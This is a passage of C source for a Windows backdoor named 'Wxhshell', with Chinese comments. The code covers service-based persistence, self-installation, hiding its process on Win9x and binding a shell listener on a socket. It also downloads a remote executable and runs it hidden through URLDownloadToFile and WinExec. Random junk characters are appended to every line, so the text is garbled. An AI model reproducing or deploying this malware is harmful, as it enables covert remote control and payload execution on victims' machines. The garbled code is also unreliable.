ULONG UniqueProcessId; Zqp<8M2
ULONG InheritedFromUniqueProcessId;
'F .tOD
} PROCESS_BASIC_INFORMATION; g~/@`Z2Y
l)P~#G+C
PROCNTQSIP NtQueryInformationProcess; :~PzTUz
w(6(Fze
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <\6<-x(H5
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; OS{j5o
uG:xd0X+W
HANDLE hProcess; VNggDKS~K
PROCESS_BASIC_INFORMATION pbi; %uUQBZ4
uK!G-1
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); q\I2lZ
if(NULL == hInst ) return 0; ;*AKeI2
Dpf"H
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }$wWX}@
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 3B^`xnV
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); \~4IOu
^ALR.N+<
if (!NtQueryInformationProcess) return 0; 9~lC/I')t
/t$J<bU
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); }iBFo\vU
if(!hProcess) return 0; *y@Xm~ld
fEgwQ-]
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; ,JVWn>s
?V9Da;cj
CloseHandle(hProcess); V
W2+ Bs}
n72+X
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); -&UP[Mq
if(hProcess==NULL) return 0; 5p]Cwj<u
$T-Pl57
HMODULE hMod; L2$`S'U W
char procName[255]; f?[0I\V[$
unsigned long cbNeeded; WA1h|:Z
W5c?f,
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); a|5^4 J\%
("!P_Q#
CloseHandle(hProcess); [i 7^a/e
R8(Bt73
if(strstr(procName,"services")) return 1; // 以服务启动 A6faRi703
5 52U~t
return 0; // 注册表启动 `rQDX<?
} gfU@`A_N"
\:[J-ySJ
// 主模块 S9@2-Oc
int StartWxhshell(LPSTR lpCmdLine) qy$1+>f1
{ YZllfw$9
SOCKET wsl; fx#Krr@
BOOL val=TRUE; V#-\ 4`c
int port=0; 5U[bn=n
struct sockaddr_in door; R|OY5@
Of?3|I3 l
if(wscfg.ws_autoins) Install(); 898=9`7e
tg|7\Z7i
port=atoi(lpCmdLine); |tua*zEsS
23_\UTM}1
if(port<=0) port=wscfg.ws_port; 9&VfbrBM
2nsW)bd
WSADATA data; 7!r)[2l
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \-eDNwJ:#@
@9ndr$t
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; E3`&W8
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^\Gukkmh}
door.sin_family = AF_INET; !c#~g0H+
door.sin_addr.s_addr = inet_addr("127.0.0.1"); *\4u :1Cu
door.sin_port = htons(port); R.rxpJ+kU
x=jS=3$8
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { `j1(GQt
closesocket(wsl); _`LQnRp(
return 1; l2[{T^
} =(%+S<}
<
X&{6xu
if(listen(wsl,2) == INVALID_SOCKET) { @Q#<-/
closesocket(wsl); l$mfsm|{:
return 1; Vub($
} %"{jNC?
Wxhshell(wsl); R3\oLT4
WSACleanup(); JS{trqc1d
X@cO`P
return 0; h|OsT
z:a%kZQ!0
} /_g-w93
,MRAEa2
// 以NT服务方式启动 B4d\4S_r%
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) WY3D.z-</
{ oBqWIXM
DWORD status = 0; fRT4,;
DWORD specificError = 0xfffffff; Ed$;#4
8n`O{8:fi
serviceStatus.dwServiceType = SERVICE_WIN32; {iRXK
serviceStatus.dwCurrentState = SERVICE_START_PENDING; hNWZ1r~_
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ` 0}z
;&:
serviceStatus.dwWin32ExitCode = 0; L%sskV(
serviceStatus.dwServiceSpecificExitCode = 0; 6r3.%V.&
serviceStatus.dwCheckPoint = 0; ,y%4QvG7a
serviceStatus.dwWaitHint = 0; 6^vseVx
kl/eJN'S
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); N# ?}r>W3
if (hServiceStatusHandle==0) return; $-Wn|w+h<a
!da[#zK
status = GetLastError(); -Nn@c|fz
if (status!=NO_ERROR) qS.TVNZ
{ <[W41{
serviceStatus.dwCurrentState = SERVICE_STOPPED; 'L1=:g.\i
serviceStatus.dwCheckPoint = 0; yR|Beno
serviceStatus.dwWaitHint = 0; Utv#E.VI
serviceStatus.dwWin32ExitCode = status; kafRuO~$
serviceStatus.dwServiceSpecificExitCode = specificError; S.Rqu+
SetServiceStatus(hServiceStatusHandle, &serviceStatus); N u]&?
return; _/(7:
} xQ{n|)i>
4x;vn8yh
serviceStatus.dwCurrentState = SERVICE_RUNNING; ) }.<lSw
serviceStatus.dwCheckPoint = 0; HC[)):S*
serviceStatus.dwWaitHint = 0; h'D-e5i
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); dYP-QUM$7
} +dB/SC-^U
<.6bni
)
// 处理NT服务事件,比如:启动、停止 14LOeo5O
VOID WINAPI NTServiceHandler(DWORD fdwControl) _pM~v>~*+
{ A"$UU6Z4
switch(fdwControl) ESQgN+llj
{ C~PoC'"q
case SERVICE_CONTROL_STOP: 4PsJs<u
serviceStatus.dwWin32ExitCode = 0; Kq. MmR!gl
serviceStatus.dwCurrentState = SERVICE_STOPPED; _Vj uQ
serviceStatus.dwCheckPoint = 0; (ZI11[e{
serviceStatus.dwWaitHint = 0; :j=/>d],%
{ =%UX"K`
SetServiceStatus(hServiceStatusHandle, &serviceStatus); e.<y-b?
} qDzd_E@aR
return; "h >B`S
case SERVICE_CONTROL_PAUSE: luYa+E0
serviceStatus.dwCurrentState = SERVICE_PAUSED; ={GYJ.*Ah
break; X?Yp=%%
case SERVICE_CONTROL_CONTINUE: 2:>|zmh_
serviceStatus.dwCurrentState = SERVICE_RUNNING; OB&lq.r
break;
equTKM
case SERVICE_CONTROL_INTERROGATE: x9&{@
?o
break; r'C(+E (
}; >gqd
y*Bg
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'I tsu~fza
} kOycS
uBPxMwohR
// 标准应用程序主函数 #UO#kC<2(B
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) w&F/P]1
{ ^9 g+\W
p?q~.YY
// 获取操作系统版本 f T&>L
OsIsNt=GetOsVer(); qxR7;/@j )
GetModuleFileName(NULL,ExeFile,MAX_PATH); tCw.wDq3=
b<N962 q$q
// 从命令行安装 ?uq7K"B
if(strpbrk(lpCmdLine,"iI")) Install(); $xWebz0
qq)Dh'5*e,
// 下载执行文件 -wqnmK+G
if(wscfg.ws_downexe) { JDIQpO"Qji
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 99<0xN(25
WinExec(wscfg.ws_filenam,SW_HIDE); kDrqV{_
} QnWM<6xK"
r-ldqj
if(!OsIsNt) { tc_D8Q_
// 如果时win9x,隐藏进程并且设置为注册表启动 Bx>)i8P7i0
HideProc(); e>:bV7h
j~
StartWxhshell(lpCmdLine); D~< 3
} :4ndU:.L
else k>N >_{\
if(StartFromService()) 41d,<E
// 以服务方式启动 {APsi7HYBr
StartServiceCtrlDispatcher(DispatchTable); +&w=*IAKZ
else A=v^`a03I
// 普通方式启动 /p=9"?
StartWxhshell(lpCmdLine); sw(dd01a
7
:OF:(,J
return 0; rY
0kzD/
}